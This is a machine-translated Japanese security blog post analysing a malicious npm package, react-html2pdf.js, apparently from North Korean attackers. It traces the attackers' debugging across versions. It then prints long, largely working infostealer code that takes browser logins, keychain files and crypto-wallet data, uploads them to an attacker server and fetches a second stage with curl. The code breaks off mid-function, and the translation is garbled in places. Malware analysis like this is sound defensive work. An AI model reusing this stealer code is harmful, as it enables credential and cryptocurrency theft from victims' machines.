製品
コード、クラウド、ランタイムのセキュリティを確保するために必要なすべてを1つの集中管理システムで実現
コード
依存関係
オープンソースのリスクを防ぐ(SCA)
機密事項
暴露された秘密をキャッチ
SAST
記述通りの安全なコード
コンテナ画像
画像を簡単に保護
マルウェア
サプライチェーン攻撃の防止
コードとしてのインフラ
IaCの設定ミスをスキャンする
ライセンス・リスクとSBOM
リスクを回避し、コンプライアンスを遵守する
時代遅れのソフトウェア
EOLランタイムを知る
クラウド
クラウド / CSPM
クラウドの設定ミス
DAST
ブラックボックス・セキュリティ・テスト
APIスキャン
APIの脆弱性をテストする
仮想マシン
代理店なし、諸経費なし
Kubernetesランタイム
まもなく
コンテナワークロードのセキュリティ
クラウド在庫管理
クラウド・スプロールの解決
ディフェンス
ランタイム保護
アプリ内ファイアウォール / WAF
特徴
AI 自動修正機能
Aikido AIによる1クリック修正
CI/CD セキュリティ
マージおよびデプロイ前のスキャン
IDEインテグレーション
コーディング中にすぐにフィードバックを得る
オンプレミスキャナ
コンプライアンス優先のローカル・スキャン
ソリューション
使用例
コンプライアンス
SOC 2、ISO、その他の自動化
脆弱性管理
オールインワンの脆弱性管理
コード保護
高度なコード・セキュリティ
SBOMの生成
1クリック SCAレポート
ASPM
包括的なアプリケーションセキュリティ
AikidoのAI
AikidoのAIに任せる
ブロック0日
被害を受ける前に脅威を遮断する
産業別
フィンテック
ヘルステック
HRテック
リーガルテック
グループ会社
エージェンシー
スタートアップ企業
企業
モバイルアプリ
製造業
価格
リソース
開発者
資料
Aikidoの使い方
公開APIドキュメント
Aikido 開発者ハブ
変更履歴
出荷状況を見る
セキュリティ
社内リサーチ
マルウェア&CVEインテリジェンス
用語集
セキュリティ専門用語ガイド
トラストセンター
安全、プライベート、コンプライアンス
オープンソース
Aikido インテル
マルウェア&OSS脅威フィード
禅
アプリ内ファイアウォール保護
OpenGrep
コード解析エンジン
インテグレーション
IDE
CI/CDシステム
クラウド
Gitシステムズ
コンプライアンス
メッセンジャー
タスクマネージャー
その他の統合
について
について
について
チーム紹介
採用情報
募集中
プレスリリース
ブランドアセットのダウンロード
カレンダー
また会えますか?
オープンソース
OSSプロジェクト
ブログ
最新記事
お客様のフィードバック
最高のチームからの信頼
お問い合わせ
ログイン
無料で始める
CC不要
Aikido
メニュー
Aikido
EN
EN
FR
JP
DE
ログイン
無料で始める
CC不要
ブログ
/
ありふれた風景の中に潜むマルウェア北朝鮮のハッカーをスパイする

ありふれた風景の中に潜むマルウェア北朝鮮のハッカーをスパイする

?による
チャーリー・エリクセン
チャーリー・エリクセン
4min read

2025年3月13日、我々のマルウェア解析エンジンは、NPMに追加された悪意のあるパッケージの可能性を警告した。最初の兆候では、これは明確なケースであると思われましたが、レイヤーを剥がし始めると、事態は見た目通りではありませんでした。 

ここでは、巧妙な国家行為者がマルウェアをパッケージの中に隠す方法について紹介する。 

お知らせ

午後1時過ぎ、私たちはマルウェア検出ツールから、新しい悪意のあるパッケージがNPMにアップロードされたとの通知を受け、react-html2pdf.jsパッケージ(現在は削除済み)を指示されました。このパッケージは合法的な人気のあるnpmパッケージreact-html2pdfを装って いるようでしたが、不審に見えるものの、もう少し詳しく見るまでは、それがもたらす脅威をすぐに確認することはできませんでした。

見え隠れする方法

まず最初に行ったのは、次のようなことだった。 package.json.ほとんどのマルウェアは、次のようなライフサイクルフックを持っています。 プリインストール, をインストールする、 ポストインストール.しかし、このパッケージにはそれが見られなかった。

{
  "name": "react-html2pdf.js",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/pdec9690/react-html2pdf.git"
  },
  "author": "",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/pdec9690/react-html2pdf/issues"
  },
  "homepage": "https://github.com/pdec9690/react-html2pdf#readme",
  "dependencies": {
    "request": "^2.88.2",
    "sqlite3": "^5.1.7"
  }
}

次に、index.jsファイルの中を見てみる。しかし、不思議なことにここにも何もなかった。もしやマルウェア検知器が偽の後処理を警告しているのではと思い始めた我々は、ついに何かを発見した......。見えますか?

見逃しがちだが、何かおかしい。 

横スクロールバーに気づきましたか?何を隠そうとしているのだろう?横にスクロールすると、そこに答えがあった。 

以下は、そのコードである。

function html2pdf() {
    (async () => eval((await axios.get("https://ipcheck-production.up.railway[.]app/106", {
        headers: {
            "x-secret-key": "locationchecking"
        }
    })).data))()
    return "html2pdf"
}

module.exports = html2pdf

これだ。URLにHTTPリクエストをして、そのレスポンスを直接 eval(). 

人は誰でも間違いを犯す

私たちの自動検出が正しかったことを理解するのに少し時間がかかり、その正しさを疑ってしまったことに少し気まずさを感じた。しかし、人間は誰でも間違いを犯すものだ。 

  1. パッケージには2つの依存関係がある: sqlite3 とリクエスト。どちらも アクシオス 依存関係として。
  2. にはimport/require文がない。 アクシオス

その結果、この攻撃は決して機能しなかっただろう。たとえaxiosを依存関係に含めていたとしても、インポートが欠けていたのだ。 

リアルタイムでファンブルを見る

これはマルウェアを書こうとして失敗した話だと思われるかもしれない。この物語はまだ始まったばかりで、とてもクールなことが起こった。私たちは、攻撃者たちがデバッグし、間違いを修正する様子をリアルタイムで見ることができたのだ。 

私たちのマルウェアアナライザーは、バージョン1.0.0でこのパッケージを検出しましたが、それに続くバージョンは、脅威行為者がどのように操作しているかについての貴重な洞察を与えてくれました。  

1.0.0 - 2025年3月13日, 12時54分40秒

インサイド・バージョン 1.0.0最初のバージョンでは、パッケージは前に示したのと同じindex.jsファイルで構成され、その中に /test/script.js.それはただこれだけだ:

コンストhtml2pdf = require('react-html2pdf.js')

コンソール.log(html2pdf())

これは単にパッケージ自体を解決し、ペイロードを実行する。これはライフサイクルフックの一部として使われる可能性が高いが、何も存在しない。

1.0.1 - 2025年3月13日午後2時10分00秒

このバージョンは、彼らがコードをデバッグしているように見える。1.0.0バージョンとは異なり、彼らは悪意のあるコードを隠そうとするために同じ長さまで行っていない。

匿名ラムダではなく、非同期関数を使うようにコードを変更した。また、コンソール・ロギング文も追加した。 

APTでさえ、デバッグコードに コンソールログ そうらしい!

彼らは、なぜ期待されたHTTPリクエストが行われないのかを特定しようとしている。明らかに、それは アクシオス そして、そのためのimport文もない。

1.0.2 - 3/13/2025, 2:23:49 PM

15分後、彼らはようやくaxiosを依存関係として追加する必要があることを理解したようだ。 アクシオス@^1.8.3. 

{
  "name": "react-html2pdf.js",
  "version": "1.0.2",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/pdec9690/react-html2pdf.git"
  },
  "author": "",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/pdec9690/react-html2pdf/issues"
  },
  "homepage": "https://github.com/pdec9690/react-html2pdf#readme",
  "dependencies": {
    "axios": "^1.8.3",
    "request": "^2.88.2",
    "sqlite3": "^5.1.7"
  }
}

それ以外のコードは同じだ。デバッグ・ログも残っているし、空白の難読化もまた導入されていない。 

彼らが近づきつつある一方で、攻撃側はまだアクシオスの輸入を覚えていない。 

1.0.3 - 3/13/2025, 2:37:23 PM

数分後、またアップデートがあった。このバージョンでのindex.jsファイルの変更に関する問題をデバッグしようとしているのは明らかだ。彼らには残念なことだが、問題の原因はまだわかっていないようだ。 

const html2pdf = async () => {
    const res = await axios.get("https://ipcheck-production.up.railway.app/106", { headers: { "x-secret-key": "locationchecking" } });
    console.log("checked ok");
    eval(res.data.cookie);
    return "html2pdf"
}

module.exports = html2pdf

つの変化に気づくだろう:

  1. 関数の代わりに、非同期ラムダとして定義しているのだ。 
  2. 以前のバージョンのように、res.dataの代わりにres.data.cookieをeval()しているのです。しかし、ペイロードはクッキーや、サーバーから取得するときのクッキーと呼ばれるフィールドにはありません。 

しかし、これはimport/require文がないため、まだ機能しない。 

ペイロードの分析

オフィスの懸賞では、彼らのミスを発見するのにかかる時間を賭けて、次のアップデートを心待ちにしていた。残念なことに、攻撃者たちは、これ以上アップデートが来ないことに不満を感じ、エクスプロイトに対するモチベーションを失っているようだった。このため、私たちはもう少し深く掘り下げ、彼らが注入しようとしていた悪意のあるペイロードを分析する時間を得ることができた。 

他のパッケージと同様、これは難読化されている。難読化を解除してみると、文書化された非常に古典的なペイロードが出来上がった。 

(function (_0x439ccd, _0x2f2b84) {
  const _0x48e319 = _0x439ccd();
  while (true) {
    try {
      const _0xc3ac80 = -parseInt(_0x5e84(719, 0x6d6)) / 1 + parseInt(_0x5e84(433, 0x551)) / 2 + parseInt(_0x5e84(659, -0x1c1)) / 3 + -parseInt(_0x5e84(392, -0x21a)) / 4 * (-parseInt(_0x5e84(721, -0x9a)) / 5) + parseInt(_0x5e84(687, 0x623)) / 6 * (-parseInt(_0x5e84(409, 0x570)) / 7) + -parseInt(_0x5e84(459, -0x17b)) / 8 * (parseInt(_0x5e84(419, 0x50b)) / 9) + parseInt(_0x5e84(415, -0x194)) / 10;
      if (_0xc3ac80 === _0x2f2b84) {
        break;
      } else {
        _0x48e319.push(_0x48e319.shift());
      }
    } catch (_0x6c2a0f) {
      _0x48e319.push(_0x48e319.shift());
    }
  }
})(_0x506f, 354290);
const _0x7b1f8a = function () {
  let _0x4ca892 = true;
  return function (_0x56e847, _0x590243) {
    const _0x745c8c = _0x4ca892 ? function () {
      if (_0x590243) {
        const _0x322c0c = _0x590243.apply(_0x56e847, arguments);
        _0x590243 = null;
        return _0x322c0c;
      }
    } : function () {};
    _0x4ca892 = false;
    return _0x745c8c;
  };
}();
const _0x4b1d0b = _0x7b1f8a(this, function () {
  return _0x4b1d0b.toString().search("(((.+)+)+)+$").toString().constructor(_0x4b1d0b).search("(((.+)+)+)+$");
});
_0x4b1d0b();
function _0x5e84(_0x491dbf, _0x24c768) {
  const _0x1eb954 = _0x506f();
  _0x5e84 = function (_0x3109a1, _0x3d8eb2) {
    _0x3109a1 = _0x3109a1 - 390;
    let _0x273b10 = _0x1eb954[_0x3109a1];
    if (_0x5e84.QApUJJ === undefined) {
      var _0x4807eb = function (_0x1c601e) {
        let _0x52517a = '';
        let _0xb93639 = '';
        let _0x194ad5 = _0x52517a + _0x4807eb;
        let _0x9c31a6 = 0;
        let _0x5bbe0b;
        let _0x1757c6;
        for (let _0xa23365 = 0; _0x1757c6 = _0x1c601e.charAt(_0xa23365++); ~_0x1757c6 && (_0x5bbe0b = _0x9c31a6 % 4 ? _0x5bbe0b * 64 + _0x1757c6 : _0x1757c6, _0x9c31a6++ % 4) ? _0x52517a += _0x194ad5.charCodeAt(_0xa23365 + 10) - 10 !== 0 ? String.fromCharCode(255 & _0x5bbe0b >> (-2 * _0x9c31a6 & 6)) : _0x9c31a6 : 0) {
          _0x1757c6 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1757c6);
        }
        let _0x469363 = 0;
        for (let _0x148ed5 = _0x52517a.length; _0x469363 < _0x148ed5; _0x469363++) {
          _0xb93639 += '%' + ('00' + _0x52517a.charCodeAt(_0x469363).toString(16)).slice(-2);
        }
        return decodeURIComponent(_0xb93639);
      };
      _0x5e84.SmAvPn = _0x4807eb;
      _0x491dbf = arguments;
      _0x5e84.QApUJJ = true;
    }
    const _0x3c1851 = _0x1eb954[0];
    const _0x59b60e = _0x3109a1 + _0x3c1851;
    const _0x55f78b = _0x491dbf[_0x59b60e];
    if (!_0x55f78b) {
      const _0x5f300b = function (_0x2fd671) {
        this.QHOMud = _0x2fd671;
        this.YVDaph = [1, 0, 0];
        this.JcbGmJ = function () {
          return 'newState';
        };
        this.OVyCMT = "\\w+ *\\(\\) *{\\w+ *";
        this.JLwvwW = "['|\"].+['|\"];? *}";
      };
      _0x5f300b.prototype.mifMRh = function () {
        const _0x229166 = new RegExp(this.OVyCMT + this.JLwvwW);
        const _0x3a34db = _0x229166.test(this.JcbGmJ.toString()) ? --this.YVDaph[1] : --this.YVDaph[0];
        return this.BbIAmR(_0x3a34db);
      };
      _0x5f300b.prototype.BbIAmR = function (_0x42c1a6) {
        if (!Boolean(~_0x42c1a6)) {
          return _0x42c1a6;
        }
        return this.bXmZOq(this.QHOMud);
      };
      _0x5f300b.prototype.bXmZOq = function (_0xbd8ca5) {
        let _0x47b9b1 = 0;
        for (let _0x2729f9 = this.YVDaph.length; _0x47b9b1 < _0x2729f9; _0x47b9b1++) {
          this.YVDaph.push(Math.round(Math.random()));
          _0x2729f9 = this.YVDaph.length;
        }
        return _0xbd8ca5(this.YVDaph[0]);
      };
      new _0x5f300b(_0x5e84).mifMRh();
      _0x273b10 = _0x5e84.SmAvPn(_0x273b10);
      _0x491dbf[_0x59b60e] = _0x273b10;
    } else {
      _0x273b10 = _0x55f78b;
    }
    return _0x273b10;
  };
  return _0x5e84(_0x491dbf, _0x24c768);
}
const _0x37a9de = function () {
  const _0x11156e = {
    npoYK: 'IOjyc'
  };
  _0x11156e.wzbes = function (_0x2abc93, _0x52b5bf) {
    return _0x2abc93 === _0x52b5bf;
  };
  _0x11156e.gBKuE = "arDDM";
  _0x11156e.ptaJJ = "Moloi";
  let _0x135685 = true;
  return function (_0x2f5864, _0x41df13) {
    if (_0x11156e.wzbes(_0x11156e.gBKuE, _0x11156e.ptaJJ)) {
      try {
        const _0x1cb1ce = {
          filename: _0x2d36f8 + '_lst'
        };
        _0xf5f415.push({
          'value': _0x404acb.createReadStream(_0x321d52),
          'options': _0x1cb1ce
        });
      } catch (_0x2a90eb) {}
    } else {
      const _0x1b0bdc = _0x135685 ? function () {
        if (_0x41df13) {
          const _0x1854ff = _0x41df13.apply(_0x2f5864, arguments);
          _0x41df13 = null;
          return _0x1854ff;
        }
      } : function () {};
      _0x135685 = false;
      return _0x1b0bdc;
    }
  };
}();
const _0x2beb3b = _0x37a9de(this, function () {
  const _0xf65419 = function () {
    let _0x2cff02;
    try {
      _0x2cff02 = Function("return (function() {}.constructor(\"return this\")( ));")();
    } catch (_0x1b5eab) {
      _0x2cff02 = window;
    }
    return _0x2cff02;
  };
  const _0x1b948b = _0xf65419();
  const _0x342695 = _0x1b948b.console = _0x1b948b.console || {};
  const _0x212c22 = ["log", "warn", "info", "error", "exception", 'table', "trace"];
  for (let _0xf72095 = 0; _0xf72095 < _0x212c22.length; _0xf72095++) {
    const _0x394e1b = _0x37a9de.constructor.prototype.bind(_0x37a9de);
    const _0x444ab9 = _0x212c22[_0xf72095];
    const _0x442110 = _0x342695[_0x444ab9] || _0x394e1b;
    _0x394e1b.__proto__ = _0x37a9de.bind(_0x37a9de);
    _0x394e1b.toString = _0x442110.toString.bind(_0x442110);
    _0x342695[_0x444ab9] = _0x394e1b;
  }
});
_0x2beb3b();
const fs = require('fs');
const os = require('os');
const path = require("path");
const request = require("request");
const ex = require("child_process").exec;
const hostname = os.hostname();
const platform = os.platform();
const homeDir = os.homedir();
const tmpDir = os.tmpdir();
const fs_promises = require("fs/promises");
const getAbsolutePath = _0x30607a => _0x30607a.replace(/^~([a-z]+|\/)/, (_0x2a0b7e, _0x4cea8f) => '/' === _0x4cea8f ? homeDir : path.dirname(homeDir) + '/' + _0x4cea8f);
function testPath(_0x133be5) {
  try {
    fs.accessSync(_0x133be5);
    return true;
  } catch (_0x4d579f) {
    return false;
  }
}
function _0x506f() {
  const _0x4e59ac = [....];
  _0x506f = function () {
    return _0x4e59ac;
  };
  return _0x506f();
}
function _0x275dbc(_0x3a088a, _0x2b8854, _0x55aca9, _0x523cc3) {
  return _0x5e84(_0x3a088a - 0x27, _0x523cc3);
}
const R = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const Q = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const X = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const Bt = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "mcohilncbfahbmgdjkbpemcciiolgcge", "agoakfejjabomempkjlepdflaleeobhb", "omaabbefbmiijedngplfjmnooppbclkk", "aholpfdialjgjfhomihkjbmgjidlcdno", "nphplpgoakhhjchkkhmiggakijnkhfnd", "penjlddjkjgpnkllboccdgccekpkcbin", "lgmpcpglpngdoalbgeoldeajfclnhafa", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "bhhhlbepdkbapadjdnnojkbgioiodbic", "aeachknmefphepccionboohckonoeemg", "gjnckgkfmgmibbkoficdidcljeaaaheg", "afbcbjpbpfadlkmhmclhkeeodmamcflc"];
const uploadFiles = async (_0x4e59e1, _0x1e64c9, _0x1b778e, _0x35144d) => {
  let _0xbfe9a;
  if (!_0x4e59e1 || '' === _0x4e59e1) {
    return [];
  }
  try {
    if (!testPath(_0x4e59e1)) {
      return [];
    }
  } catch (_0x25bf31) {
    return [];
  }
  if (!_0x1e64c9) {
    _0x1e64c9 = '';
  }
  let _0x2ae51b = [];
  for (let _0x801a82 = 0; _0x801a82 < 200; _0x801a82++) {
    const _0x3fd963 = _0x4e59e1 + '/' + (0 === _0x801a82 ? "Default" : "Profile " + _0x801a82) + "/Local Extension Settings";
    for (let _0x2652fd = 0; _0x2652fd < Bt.length; _0x2652fd++) {
      let _0x2ef81f = _0x3fd963 + '/' + Bt[_0x2652fd];
      if (testPath(_0x2ef81f)) {
        let _0x1fd2c9 = [];
        try {
          _0x1fd2c9 = fs.readdirSync(_0x2ef81f);
        } catch (_0x354f49) {
          _0x1fd2c9 = [];
        }
        let _0x4808c4 = 0;
        if (!testPath(getAbsolutePath('~/') + "/.n3")) {
          fs_promises.mkdir(getAbsolutePath('~/') + "/.n3");
        }
        _0x1fd2c9.forEach(async _0x4e7f8b => {
          let _0x3bca73 = path.join(_0x2ef81f, _0x4e7f8b);
          try {
            let _0x331d2f = fs.statSync(_0x3bca73);
            if (_0x331d2f.isDirectory()) {
              return;
            }
            if (_0x3bca73.includes(".log") || _0x3bca73.includes(".ldb")) {
              const _0x50a239 = {
                filename: "106_" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b
              };
              _0x2ae51b.push({
                'value': fs.createReadStream(_0x3bca73),
                'options': _0x50a239
              });
            } else {
              fs_promises.copyFile(_0x3bca73, getAbsolutePath('~/') + "/.n3/tp" + _0x4808c4);
              const _0x27ff50 = {
                filename: "106_" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b
              };
              _0x2ae51b.push({
                'value': fs.createReadStream(getAbsolutePath('~/') + '/.n3/tp' + _0x4808c4),
                'options': _0x27ff50
              });
              _0x4808c4 += 1;
            }
          } catch (_0x365110) {}
        });
      }
    }
  }
  if (_0x1b778e && (_0xbfe9a = homeDir + "/.config/solana/id.json", fs.existsSync(_0xbfe9a))) {
    try {
      const _0x149c73 = {
        filename: "solana_id.txt"
      };
      _0x2ae51b.push({
        'value': fs.createReadStream(_0xbfe9a),
        'options': _0x149c73
      });
    } catch (_0x293a9e) {}
  }
  Upload(_0x2ae51b, _0x35144d);
  return _0x2ae51b;
};
const uploadMozilla = _0x28bdbb => {
  const _0x58f3c4 = getAbsolutePath('~/') + "/AppData/Roaming/Mozilla/Firefox/Profiles";
  let _0x11a54c = [];
  if (testPath(_0x58f3c4)) {
    let _0x43f643 = [];
    try {
      _0x43f643 = fs.readdirSync(_0x58f3c4);
    } catch (_0x277851) {
      _0x43f643 = [];
    }
    let _0xfea5f8 = 0;
    _0x43f643.forEach(async _0x7fdd1f => {
      let _0x1565a3 = path.join(_0x58f3c4, _0x7fdd1f);
      if (_0x1565a3.includes('-release')) {
        let _0xb824a = path.join(_0x1565a3, "/storage/default");
        let _0x5b8589 = [];
        _0x5b8589 = fs.readdirSync(_0xb824a);
        let _0x56f1bd = 0;
        _0x5b8589.forEach(async _0x1349f0 => {
          if (_0x1349f0.includes("moz-extension")) {
            let _0xb29520 = path.join(_0xb824a, _0x1349f0);
            _0xb29520 = path.join(_0xb29520, "idb");
            let _0xbf7b4c = [];
            _0xbf7b4c = fs.readdirSync(_0xb29520);
            _0xbf7b4c.forEach(async _0x39b65b => {
              if (_0x39b65b.includes(".files")) {
                let _0x23bb34 = path.join(_0xb29520, _0x39b65b);
                let _0x907e03 = [];
                _0x907e03 = fs.readdirSync(_0x23bb34);
                _0x907e03.forEach(_0x18728f => {
                  if (!fs.statSync(path.join(_0x23bb34, _0x18728f)).isDirectory()) {
                    let _0x5c1eaa = path.join(_0x23bb34, _0x18728f);
                    const _0x3dabaf = {
                      filename: _0xfea5f8 + '_' + _0x56f1bd + '_' + _0x18728f
                    };
                    _0x11a54c.push({
                      'value': fs.createReadStream(_0x5c1eaa),
                      'options': _0x3dabaf
                    });
                  }
                });
              }
            });
          }
        });
        _0x56f1bd += 1;
      }
      _0xfea5f8 += 1;
    });
    Upload(_0x11a54c, _0x28bdbb);
    return _0x11a54c;
  }
};
const uploadEs = _0x259211 => {
  let _0x3d015b = '';
  let _0x237a59 = [];
  if ('w' == platform[0]) {
    _0x3d015b = getAbsolutePath('~/') + "/AppData/Roaming/Exodus/exodus.wallet";
  } else if ('d' == platform[0]) {
    _0x3d015b = getAbsolutePath('~/') + "/Library/Application Support/exodus.wallet";
  } else {
    _0x3d015b = getAbsolutePath('~/') + "/.config/Exodus/exodus.wallet";
  }
  if (testPath(_0x3d015b)) {
    let _0x12e506 = [];
    try {
      _0x12e506 = fs.readdirSync(_0x3d015b);
    } catch (_0x94bd45) {
      _0x12e506 = [];
    }
    let _0x28935a = 0;
    if (!testPath(getAbsolutePath('~/') + "/.n3")) {
      fs_promises.mkdir(getAbsolutePath('~/') + '/.n3');
    }
    _0x12e506.forEach(async _0x19fec3 => {
      let _0x4b88c9 = path.join(_0x3d015b, _0x19fec3);
      try {
        fs_promises.copyFile(_0x4b88c9, getAbsolutePath('~/') + "/.n3/tp" + _0x28935a);
        const _0x61985d = {
          filename: "106_" + _0x19fec3
        };
        _0x237a59.push({
          'value': fs.createReadStream(getAbsolutePath('~/') + "/.n3/tp" + _0x28935a),
          'options': _0x61985d
        });
        _0x28935a += 1;
      } catch (_0x59cc5f) {}
    });
  }
  Upload(_0x237a59, _0x259211);
  return _0x237a59;
};
const Upload = (_0x5371da, _0x486521) => {
  const _0x56f846 = {
    type: "106"
  };
  _0x56f846.hid = "106_" + hostname;
  _0x56f846.uts = _0x486521;
  _0x56f846.multi_file = _0x5371da;
  try {
    if (_0x5371da.length > 0) {
      const _0x4ca09a = {
        url: "http://144.172.96[.]80:1224/uploads",
        formData: _0x56f846
      };
      request.post(_0x4ca09a, (_0x3ae8f6, _0x3a2f2e, _0x14c423) => {});
    }
  } catch (_0x531e0d) {}
};
const UpAppData = async (_0x4426ad, _0x3e8f59, _0x60e2a7) => {
  try {
    let _0x268ce4 = '';
    _0x268ce4 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x4426ad[1] : 'l' == platform[0] ? getAbsolutePath('~/') + "/.config/" + _0x4426ad[2] : getAbsolutePath('~/') + '/AppData/' + _0x4426ad[0] + "/User Data";
    await uploadFiles(_0x268ce4, _0x3e8f59 + '_', 0 == _0x3e8f59, _0x60e2a7);
  } catch (_0x5ebd09) {}
};
const UpKeychain = async _0x3714c5 => {
  let _0x3a24d9 = [];
  let _0x39d8f5 = homeDir + "/Library/Keychains/login.keychain";
  if (fs.existsSync(_0x39d8f5)) {
    try {
      const _0x94b19a = {
        filename: "logkc-db"
      };
      _0x3a24d9.push({
        'value': fs.createReadStream(_0x39d8f5),
        'options': _0x94b19a
      });
    } catch (_0x5a79ae) {}
  } else {
    _0x39d8f5 += '-db';
    if (fs.existsSync(_0x39d8f5)) {
      try {
        const _0x1aed52 = {
          filename: "logkc-db"
        };
        _0x3a24d9.push({
          'value': fs.createReadStream(_0x39d8f5),
          'options': _0x1aed52
        });
      } catch (_0x29bcaf) {}
    }
  }
  try {
    let _0x17c169 = homeDir + "/Library/Application Support/Google/Chrome";
    if (testPath(_0x17c169)) {
      for (let _0x1d1991 = 0; _0x1d1991 < 200; _0x1d1991++) {
        const _0x141480 = _0x17c169 + '/' + (0 === _0x1d1991 ? 'Default' : "Profile " + _0x1d1991) + "/Login Data";
        try {
          if (!testPath(_0x141480)) {
            continue;
          }
          const _0x11ddc5 = _0x17c169 + "/ld_" + _0x1d1991;
          const _0x4c51e4 = {
            filename: 'pld_' + _0x1d1991
          };
          if (testPath(_0x11ddc5)) {
            _0x3a24d9.push({
              'value': fs.createReadStream(_0x11ddc5),
              'options': _0x4c51e4
            });
          } else {
            fs.copyFile(_0x141480, _0x11ddc5, _0x5336ba => {
              const _0x173efd = {
                filename: "pld_" + _0x1d1991
              };
              let _0x2adc61 = [{
                'value': fs.createReadStream(_0x141480),
                'options': _0x173efd
              }];
              Upload(_0x2adc61, _0x3714c5);
            });
          }
        } catch (_0x136aa3) {}
      }
    }
  } catch (_0x10da1f) {}
  try {
    let _0x5877c5 = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser";
    if (testPath(_0x5877c5)) {
      for (let _0x4289ac = 0; _0x4289ac < 200; _0x4289ac++) {
        const _0x388e88 = _0x5877c5 + '/' + (0 === _0x4289ac ? "Default" : "Profile " + _0x4289ac);
        try {
          if (!testPath(_0x388e88)) {
            continue;
          }
          const _0x4cb112 = _0x388e88 + "/Login Data";
          const _0x533124 = {
            filename: 'brld_' + _0x4289ac
          };
          if (testPath(_0x4cb112)) {
            _0x3a24d9.push({
              'value': fs.createReadStream(_0x4cb112),
              'options': _0x533124
            });
          } else {
            fs.copyFile(_0x388e88, _0x4cb112, _0x29cd60 => {
              const _0x2c0338 = {
                filename: "brld_" + _0x4289ac
              };
              let _0x2511d4 = [{
                'value': fs.createReadStream(_0x388e88),
                'options': _0x2c0338
              }];
              Upload(_0x2511d4, _0x3714c5);
            });
          }
        } catch (_0x3a308e) {}
      }
    }
  } catch (_0x430644) {}
  Upload(_0x3a24d9, _0x3714c5);
  return _0x3a24d9;
};
const UpUserData = async (_0x36f5a0, _0x286e68, _0x4300cf) => {
  let _0x424c5f = [];
  let _0x4b95f2 = '';
  _0x4b95f2 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x36f5a0[1] : 'l' == platform[0] ? getAbsolutePath('~/') + '/.config/' + _0x36f5a0[2] : getAbsolutePath('~/') + "/AppData/" + _0x36f5a0[0] + "/User Data";
  let _0x227f08 = _0x4b95f2 + "/Local State";
  if (fs.existsSync(_0x227f08)) {
    try {
      const _0x4a1d0a = {
        filename: _0x286e68 + "_lst"
      };
      _0x424c5f.push({
        'value': fs.createReadStream(_0x227f08),
        'options': _0x4a1d0a
      });
    } catch (_0x18477b) {}
  }
  try {
    if (testPath(_0x4b95f2)) {
      for (let _0x5d2f7f = 0; _0x5d2f7f < 200; _0x5d2f7f++) {
        const _0x217a08 = _0x4b95f2 + '/' + (0 === _0x5d2f7f ? 'Default' : "Profile " + _0x5d2f7f);
        try {
          if (!testPath(_0x217a08)) {
            continue;
          }
          const _0x43a5b3 = _0x217a08 + "/Login Data";
          if (!testPath(_0x43a5b3)) {
            continue;
          }
          const _0x677c1e = {
            filename: _0x286e68 + '_' + _0x5d2f7f + "_uld"
          };
          _0x424c5f.push({
            'value': fs.createReadStream(_0x43a5b3),
            'options': _0x677c1e
          });
        } catch (_0x468130) {}
      }
    }
  } catch (_0x25db13) {}
  Upload(_0x424c5f, _0x4300cf);
  return _0x424c5f;
};
function _0x209c84(_0x42c618, _0x40ddd7, _0x324bac, _0x231a82) {
  return _0x5e84(_0x40ddd7 + 0xd7, _0x42c618);
}
let It = 0;
const extractFile = async _0x169ea8 => {
  ex("tar -xf " + _0x169ea8 + " -C " + homeDir, (_0x5137bb, _0x38768c, _0x44c05a) => {
    if (_0x5137bb) {
      fs.rmSync(_0x169ea8);
      return void (It = 0);
    }
    fs.rmSync(_0x169ea8);
    Xt();
  });
};
const runP = () => {
  const _0x63e597 = tmpDir + "\\p.zi";
  const _0x37a8dc = tmpDir + "\\p2.zip";
  if (It >= 51476596) {
    return;
  }
  if (fs.existsSync(_0x63e597)) {
    try {
      var _0x2d691c = fs.statSync(_0x63e597);
      if (_0x2d691c.size >= 51476596) {
        It = _0x2d691c.size;
        fs.rename(_0x63e597, _0x37a8dc, _0x34791b => {
          if (_0x34791b) {
            throw _0x34791b;
          }
          extractFile(_0x37a8dc);
        });
      } else {
        if (It < _0x2d691c.size) {
          It = _0x2d691c.size;
        } else {
          fs.rmSync(_0x63e597);
          It = 0;
        }
        Ht();
      }
    } catch (_0xf9efb1) {}
  } else {
    ex("curl -Lo \"" + _0x63e597 + "\" \"" + "http://144.172.96[.]80:1224/pdown" + "\"", (_0x33551d, _0x26a269, _0x1f4359) => {
      if (_0x33551d) {
        It = 0;
        return void Ht();
      }
      try {
        It = 51476596;
        fs.renameSync(_0x63e597, _0x37a8dc);
        extractFile(_0x37a8dc);
      } catch (_0x177129) {}
    });
  }
};
function Ht() {
  setTimeout(() => {
    runP();
  }, 20000);
}
const Xt = async () => await new Promise((_0x18b6b4, _0x438ac4) => {
  if ('w' == platform[0]) {
    if (fs.existsSync(homeDir + "\\.pyp\\python.exe")) {
      (() => {
        const _0x2f7a17 = homeDir + "/.npl";
